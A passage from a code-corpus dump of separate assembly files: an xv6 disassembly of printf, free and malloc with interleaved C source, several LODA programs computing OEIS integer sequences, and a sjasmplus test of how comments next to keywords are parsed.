%edi 3fa: 5d pop %ebp 3fb: c3 ret 3fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 400: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 402: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 409: eb 8b jmp 396 <printint+0x26> 40b: 90 nop 40c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000410 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 410: 55 push %ebp 411: 89 e5 mov %esp,%ebp 413: 57 push %edi 414: 56 push %esi 415: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 416: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 419: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 41c: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 41f: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 422: 89 45 d0 mov %eax,-0x30(%ebp) 425: 0f b6 1e movzbl (%esi),%ebx 428: 83 c6 01 add $0x1,%esi 42b: 84 db test %bl,%bl 42d: 0f 84 b0 00 00 00 je 4e3 <printf+0xd3> 433: 31 d2 xor %edx,%edx 435: eb 39 jmp 470 <printf+0x60> 437: 89 f6 mov %esi,%esi 439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 440: 83 f8 25 cmp $0x25,%eax 443: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 446: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 44b: 74 18 je 465 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 44d: 8d 45 e2 lea -0x1e(%ebp),%eax 450: 83 ec 04 sub $0x4,%esp 453: 88 5d e2 mov %bl,-0x1e(%ebp) 456: 6a 01 push $0x1 458: 50 push %eax 459: 57 push %edi 45a: e8 33 fe ff ff call 292 <write> 45f: 8b 55 d4 mov -0x2c(%ebp),%edx 462: 83 c4 10 add $0x10,%esp 465: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 468: 0f b6 5e ff movzbl -0x1(%esi),%ebx 46c: 84 db test %bl,%bl 46e: 74 73 je 4e3 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 470: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 472: 0f be cb movsbl %bl,%ecx 475: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 478: 74 c6 je 440 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 47a: 83 fa 25 cmp $0x25,%edx 47d: 75 e6 jne 465 <printf+0x55> if(c == 'd'){ 47f: 83 f8 64 cmp $0x64,%eax 482: 0f 84 f8 00 00 00 je 580 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 488: 81 e1 f7 00 00 00 and $0xf7,%ecx 48e: 83 f9 70 cmp $0x70,%ecx 491: 74 5d je 4f0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 493: 83 f8 73 cmp $0x73,%eax 496: 0f 84 84 00 00 00 je 520 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 49c: 83 f8 63 cmp $0x63,%eax 49f: 0f 84 ea 00 00 00 je 58f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 4a5: 83 f8 25 cmp $0x25,%eax 4a8: 0f 84 c2 00 00 00 je 570 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4ae: 8d 45 e7 lea -0x19(%ebp),%eax 4b1: 83 ec 04 sub $0x4,%esp 4b4: c6 45 e7 25 movb $0x25,-0x19(%ebp) 4b8: 6a 01 push $0x1 4ba: 50 push %eax 4bb: 57 push %edi 4bc: e8 d1 fd ff ff call 292 <write> 4c1: 83 c4 0c add $0xc,%esp 4c4: 8d 45 e6 lea -0x1a(%ebp),%eax 4c7: 88 5d e6 mov %bl,-0x1a(%ebp) 4ca: 6a 01 push $0x1 4cc: 50 push %eax 4cd: 57 push %edi 4ce: 83 c6 01 add $0x1,%esi 4d1: e8 bc fd ff ff call 292 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4d6: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4da: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4dd: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4df: 84 db test %bl,%bl 4e1: 75 8d jne 470 <printf+0x60> putc(fd, c); } state = 0; } } } 4e3: 8d 65 f4 lea -0xc(%ebp),%esp 4e6: 5b pop %ebx 4e7: 5e pop %esi 4e8: 5f pop %edi 4e9: 5d pop %ebp 4ea: c3 ret 4eb: 90 nop 4ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4f0: 83 ec 0c sub $0xc,%esp 4f3: b9 10 00 00 00 mov $0x10,%ecx 4f8: 6a 00 push $0x0 4fa: 8b 5d d0 mov -0x30(%ebp),%ebx 4fd: 89 f8 mov %edi,%eax 4ff: 8b 13 mov (%ebx),%edx 501: e8 6a fe ff ff call 370 <printint> ap++; 506: 89 d8 mov %ebx,%eax 508: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 50b: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 50d: 83 c0 04 add $0x4,%eax 510: 89 45 d0 mov %eax,-0x30(%ebp) 513: e9 4d ff ff ff jmp 465 <printf+0x55> 518: 90 nop 519: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 520: 8b 45 d0 mov -0x30(%ebp),%eax 523: 8b 18 mov (%eax),%ebx ap++; 525: 83 c0 04 add $0x4,%eax 528: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 52b: b8 30 07 00 00 mov $0x730,%eax 530: 85 db test %ebx,%ebx 532: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 535: 0f b6 03 movzbl (%ebx),%eax 538: 84 c0 test %al,%al 53a: 74 23 je 55f <printf+0x14f> 53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 540: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 543: 8d 45 e3 lea -0x1d(%ebp),%eax 546: 83 ec 04 sub $0x4,%esp 549: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 54b: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 54e: 50 push %eax 54f: 57 push %edi 550: e8 3d fd ff ff call 292 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 555: 0f b6 03 movzbl (%ebx),%eax 558: 83 c4 10 add $0x10,%esp 55b: 84 c0 test %al,%al 55d: 75 e1 jne 540 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 55f: 31 d2 xor %edx,%edx 561: e9 ff fe ff ff jmp 465 <printf+0x55> 566: 8d 76 00 lea 0x0(%esi),%esi 569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 570: 83 ec 04 sub $0x4,%esp 573: 88 5d e5 mov %bl,-0x1b(%ebp) 576: 8d 45 e5 lea -0x1b(%ebp),%eax 579: 6a 01 push $0x1 57b: e9 4c ff ff ff jmp 4cc <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 580: 83 ec 0c sub $0xc,%esp 583: b9 0a 00 00 00 mov $0xa,%ecx 588: 6a 01 push $0x1 58a: e9 6b ff ff ff jmp 4fa <printf+0xea> 58f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 592: 83 ec 04 sub $0x4,%esp 595: 8b 03 mov (%ebx),%eax 597: 6a 01 push $0x1 599: 88 45 e4 mov %al,-0x1c(%ebp) 59c: 8d 45 e4 lea -0x1c(%ebp),%eax 59f: 50 push %eax 5a0: 57 push %edi 5a1: e8 ec fc ff ff call 292 <write> 5a6: e9 5b ff ff ff jmp 506 <printf+0xf6> 5ab: 66 90 xchg %ax,%ax 5ad: 66 90 xchg %ax,%ax 5af: 90 nop 000005b0 <free>: static Header base; static Header *freep; void free(void *ap) { 5b0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5b1: a1 d0 09 00 00 mov 0x9d0,%eax static Header base; static Header *freep; void free(void *ap) { 5b6: 89 e5 mov %esp,%ebp 5b8: 57 push %edi 5b9: 56 push %esi 5ba: 53 push %ebx 5bb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5be: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 5c0: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5c3: 39 c8 cmp %ecx,%eax 5c5: 73 19 jae 5e0 <free+0x30> 5c7: 89 f6 mov %esi,%esi 5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 5d0: 39 d1 cmp %edx,%ecx 5d2: 72 1c jb 5f0 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5d4: 39 d0 cmp %edx,%eax 5d6: 73 18 jae 5f0 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 5d8: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5da: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5dc: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5de: 72 f0 jb 5d0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5e0: 39 d0 cmp %edx,%eax 5e2: 72 f4 jb 5d8 <free+0x28> 5e4: 39 d1 cmp %edx,%ecx 5e6: 73 f0 jae 5d8 <free+0x28> 5e8: 90 nop 5e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 5f0: 8b 73 fc mov -0x4(%ebx),%esi 5f3: 8d 3c f1 lea (%ecx,%esi,8),%edi 5f6: 39 d7 cmp %edx,%edi 5f8: 74 19 je 613 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5fa: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5fd: 8b 50 04 mov 0x4(%eax),%edx 600: 8d 34 d0 lea (%eax,%edx,8),%esi 603: 39 f1 cmp %esi,%ecx 605: 74 23 je 62a <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 607: 89 08 mov %ecx,(%eax) freep = p; 609: a3 d0 09 00 00 mov %eax,0x9d0 } 60e: 5b pop %ebx 60f: 5e pop %esi 610: 5f pop %edi 611: 5d pop %ebp 612: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 613: 03 72 04 add 0x4(%edx),%esi 616: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 619: 8b 10 mov (%eax),%edx 61b: 8b 12 mov (%edx),%edx 61d: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 620: 8b 50 04 mov 0x4(%eax),%edx 623: 8d 34 d0 lea (%eax,%edx,8),%esi 626: 39 f1 cmp %esi,%ecx 628: 75 dd jne 607 <free+0x57> p->s.size += bp->s.size; 62a: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 62d: a3 d0 09 00 00 mov %eax,0x9d0 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 632: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 635: 8b 53 f8 mov -0x8(%ebx),%edx 638: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 63a: 5b pop %ebx 63b: 5e pop %esi 63c: 5f pop %edi 63d: 5d pop %ebp 63e: c3 ret 63f: 90 nop 00000640 <malloc>: return freep; } void* malloc(uint nbytes) { 640: 55 push %ebp 641: 89 e5 mov %esp,%ebp 643: 57 push %edi 644: 56 push %esi 645: 53 push %ebx 646: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 649: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 64c: 8b 15 d0 09 00 00 mov 0x9d0,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 652: 8d 78 07 lea 0x7(%eax),%edi 655: c1 ef 03 shr $0x3,%edi 658: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 65b: 85 d2 test %edx,%edx 65d: 0f 84 a3 00 00 00 je 706 <malloc+0xc6> 663: 8b 02 mov (%edx),%eax 665: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 668: 39 cf cmp %ecx,%edi 66a: 76 74 jbe 6e0 <malloc+0xa0> 66c: 81 ff 00 10 00 00 cmp $0x1000,%edi 672: be 00 10 00 00 mov $0x1000,%esi 677: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 67e: 0f 43 f7 cmovae %edi,%esi 681: ba 00 80 00 00 mov $0x8000,%edx 686: 81 ff ff 0f 00 00 cmp $0xfff,%edi 68c: 0f 46 da cmovbe %edx,%ebx 68f: eb 10 jmp 6a1 <malloc+0x61> 691: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 698: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 69a: 8b 48 04 mov 0x4(%eax),%ecx 69d: 39 cf cmp %ecx,%edi 69f: 76 3f jbe 6e0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6a1: 39 05 d0 09 00 00 cmp %eax,0x9d0 6a7: 89 c2 mov %eax,%edx 6a9: 75 ed jne 698 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 6ab: 83 ec 0c sub $0xc,%esp 6ae: 53 push %ebx 6af: e8 56 fc ff ff call 30a <sbrk> if(p == (char*)-1) 6b4: 83 c4 10 add $0x10,%esp 6b7: 83 f8 ff cmp $0xffffffff,%eax 6ba: 74 1c je 6d8 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 6bc: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 6bf: 83 ec 0c sub $0xc,%esp 6c2: 83 c0 08 add $0x8,%eax 6c5: 50 push %eax 6c6: e8 e5 fe ff ff call 5b0 <free> return freep; 6cb: 8b 15 d0 09 00 00 mov 0x9d0,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 6d1: 83 c4 10 add $0x10,%esp 6d4: 85 d2 test %edx,%edx 6d6: 75 c0 jne 698 <malloc+0x58> return 0; 6d8: 31 c0 xor %eax,%eax 6da: eb 1c jmp 6f8 <malloc+0xb8> 6dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 6e0: 39 cf cmp %ecx,%edi 6e2: 74 1c je 700 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 6e4: 29 f9 sub %edi,%ecx 6e6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 6e9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 6ec: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 6ef: 89 15 d0 09 00 00 mov %edx,0x9d0 return (void*)(p + 1); 6f5: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 6f8: 8d 65 f4 lea -0xc(%ebp),%esp 6fb: 5b pop %ebx 6fc: 5e pop %esi 6fd: 5f pop %edi 6fe: 5d pop %ebp 6ff: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 700: 8b 08 mov (%eax),%ecx 702: 89 0a mov %ecx,(%edx) 704: eb e9 jmp 6ef <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 706: c7 05 d0 09 00 00 d4 movl $0x9d4,0x9d0 70d: 09 00 00 710: c7 05 d4 09 00 00 d4 movl $0x9d4,0x9d4 717: 09 00 00 base.s.size = 0; 71a: b8 d4 09 00 00 mov $0x9d4,%eax 71f: c7 05 d8 09 00 00 00 movl $0x0,0x9d8 726: 00 00 00 729: e9 3e ff ff ff jmp 66c <malloc+0x2c>
29.756775
60
0.412443
6067bb566409e57e725715e06fe790ff8afa1813
308
asm
Assembly
programs/oeis/055/A055232.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/055/A055232.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/055/A055232.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A055232: Expansion of (1+2*x+3*x^2)/((1-x)^3*(1-x^2)). ; 1,5,16,36,69,117,184,272,385,525,696,900,1141,1421,1744,2112,2529,2997,3520,4100,4741,5445,6216,7056,7969,8957,10024,11172,12405,13725,15136,16640,18241,19941,21744,23652,25669,27797,30040,32400 seq $0,89207 ; a(n) = 4n^3 + 2n^2. add $0,2 div $0,8
44
196
0.688312
fde9eb9cd84b48eb9cf0038400b04ed1509f9588
567
asm
Assembly
oeis/174/A174994.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/174/A174994.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/174/A174994.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A174994: Repeat (8*n+4)^2. ; 16,16,144,144,400,400,784,784,1296,1296,1936,1936,2704,2704,3600,3600,4624,4624,5776,5776,7056,7056,8464,8464,10000,10000,11664,11664,13456,13456,15376,15376,17424,17424,19600,19600,21904,21904,24336,24336,26896,26896,29584,29584,32400,32400,35344,35344,38416,38416,41616,41616,44944,44944,48400,48400,51984,51984,55696,55696,59536,59536,63504,63504,67600,67600,71824,71824,76176,76176,80656,80656,85264,85264,90000,90000,94864,94864,99856,99856,104976,104976,110224,110224,115600,115600,121104 div $0,-2 bin $0,2 mul $0,128 add $0,16
70.875
496
0.790123
a1c262cbc860f5473de7e3270603784df5f23bf0
737
asm
Assembly
programs/oeis/163/A163817.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/163/A163817.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/163/A163817.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A163817: Expansion of (1 - x^2) * (1 - x^5) / ((1 - x) * (1 - x^6)) in powers of x. ; 1,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0,0,-1,0,1,0,0 mov $1,$0 mov $2,3 cmp $3,$0 lpb $1 sub $1,$2 sub $1,$2 lpe lpb $1 mov $1,1 sub $3,1 lpe add $1,$3
46.0625
542
0.466757
c764b9423496c75f2d6a63aa67e88340bb581b58
3,432
asm
Assembly
tests/parsing/raw_keyword_parsing.asm
fengjixuchui/sjasmplus
df0fabd2411bf89e23637fce46d273f52dafbe16
[ "BSD-3-Clause" ]
220
2016-10-22T19:44:39.000Z
2022-03-29T20:57:04.000Z
tests/parsing/raw_keyword_parsing.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
153
2018-05-07T10:31:23.000Z
2022-03-30T04:35:59.000Z
tests/parsing/raw_keyword_parsing.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
51
2016-05-12T21:27:36.000Z
2022-03-27T15:16:16.000Z
; issue in v1.15.1 reported on pk-ru forum: ; sometimes the internal function "cmphstr" is used to detect keywords over raw line data ; which didn't undergo yet proper substitution and contain block/EOL comment, then it was ; possible to miss the keyword if the comment char was right after it without whitespace DEFINE/*c*/xyz IFDEF/*c*/xyz DB/*c*/1 ELSE ASSERT/*c*/0 ENDIF UNDEFINE/*c*/xyz ; comment block focused IF/*c*/1 ; nested IF/IFN/IFNUSED DB/*c*/2 IFN/*c*/0 DB/*c*/3 ELSE/*c*/ ASSERT/*c*/0 ENDIF/*c*/ ; "//" EOL comment focused IF/*c*/1 DB/*c*/4 ELSE//c ASSERT/*c*/0 ENDIF//c ; ";" EOL comment focused IFNUSED/*c*/someLabel DB/*c*/5 ELSE;c ASSERT/*c*/0 ENDIF;c ELSE; comment - causing issue in v1.15.1 ; nested + skipped IF/IFN/IFNUSED ASSERT/*c*/0 IFN/*c*/0 DB/*c*/-1 ELSE/*c*/ ASSERT/*c*/0 ENDIF/*c*/ ; "//" EOL comment focused IF/*c*/1 DB/*c*/-2 ELSE//c ASSERT/*c*/0 ENDIF//c ; ";" EOL comment focused IFNUSED/*c*/someLabel DB/*c*/-3 ELSE;c ASSERT/*c*/0 ENDIF;c ENDIF; comment - causing issue in v1.15.1 DUP/*c*/1 DB 6 EDUP//c STRUCT/*c*/ TestStruct s_a BYTE/*c*/-7 ENDS//c TestStruct/*c*/{7} ;; LEVEL 2 - add empty defines into sensitive lines to verify they get skipped DEFINE _EMPTINESS_ ; DEFINE, IFDEF and UNDEFINE can't provide substitution, so they can't attend LEVEL 2 ; comment block focused IF/**/_EMPTINESS_/**/1 ; nested IF/IFN/IFNUSED DB/**/_EMPTINESS_/**/10 IFN/**/_EMPTINESS_/**/0 DB/**/_EMPTINESS_/**/11 ELSE/**/_EMPTINESS_/**/ ASSERT/**/_EMPTINESS_/**/0 ENDIF/**/_EMPTINESS_/**/ ; "//" EOL comment focused IF/**/_EMPTINESS_/**/1 DB/**/_EMPTINESS_/**/12 ELSE/**/_EMPTINESS_//c ASSERT/**/_EMPTINESS_/**/0 ENDIF/**/_EMPTINESS_//c ; ";" EOL comment focused IFNUSED/**/_EMPTINESS_/**/someLabel DB/**/_EMPTINESS_/**/13 ELSE/**/_EMPTINESS_;c ASSERT/**/_EMPTINESS_/**/0 ENDIF/**/_EMPTINESS_;c ELSE; comment - causing issue in v1.15.1 ; nested + skipped IF/IFN/IFNUSED ASSERT/**/_EMPTINESS_/**/0 IFN/**/_EMPTINESS_/**/0 DB/**/_EMPTINESS_/**/-11 ELSE/**/_EMPTINESS_/**/ ASSERT/**/_EMPTINESS_/**/0 ENDIF/**/_EMPTINESS_/**/ ; "//" EOL comment focused IF/**/_EMPTINESS_/**/1 DB/**/_EMPTINESS_/**/-12 ELSE/**/_EMPTINESS_//c ASSERT/**/_EMPTINESS_/**/0 ENDIF/**/_EMPTINESS_//c ; ";" EOL comment focused IFNUSED/**/_EMPTINESS_/**/someLabel DB/**/_EMPTINESS_/**/-13 ELSE/**/_EMPTINESS_;c ASSERT/**/_EMPTINESS_/**/0 ENDIF/**/_EMPTINESS_;c ENDIF; comment - causing issue in v1.15.1 DUP/**/_EMPTINESS_/**/1 DB 14 EDUP/**/_EMPTINESS_//c STRUCT/**/_EMPTINESS_/**/ TestStruct_L2 s_a BYTE/**/_EMPTINESS_/**/-14 ENDS/**/_EMPTINESS_//c TestStruct_L2/**/_EMPTINESS_/**/{15}
27.456
89
0.514569
cb0d512b64b88033115cae160bdf938fa35ca5e2
747
asm
Assembly
oeis/319/A319172.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/319/A319172.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/319/A319172.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A319172: a(n) = 2*(a(n-1) + a(n-3)) - a(n-4), with a(0) = 1, a(1) = 2, a(2) = 5 and a(3) = 12. ; Submitted by Jon Maiga ; 1,2,5,12,27,62,143,328,753,1730,3973,9124,20955,48126,110527,253840,582977,1338882,3074917,7061948,16218683,37248318,85545615,196466648,451211249,1036265410,2379918501,5465792852,12552905275,28829382142,66210431487,152060880672,349227620353,802046721538,1842004772933,4230403905900,9715673634523,22313310093374,51245423225615,117691789814376,270294526180977,620766588719810,1425671333842757,3274239930233092,7519718511724827,17270013102415358,39662834731454143,91090866556124848,209202040805355585 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $3,$4 add $1,$3 add $1,1 add $4,$2 sub $4,$3 add 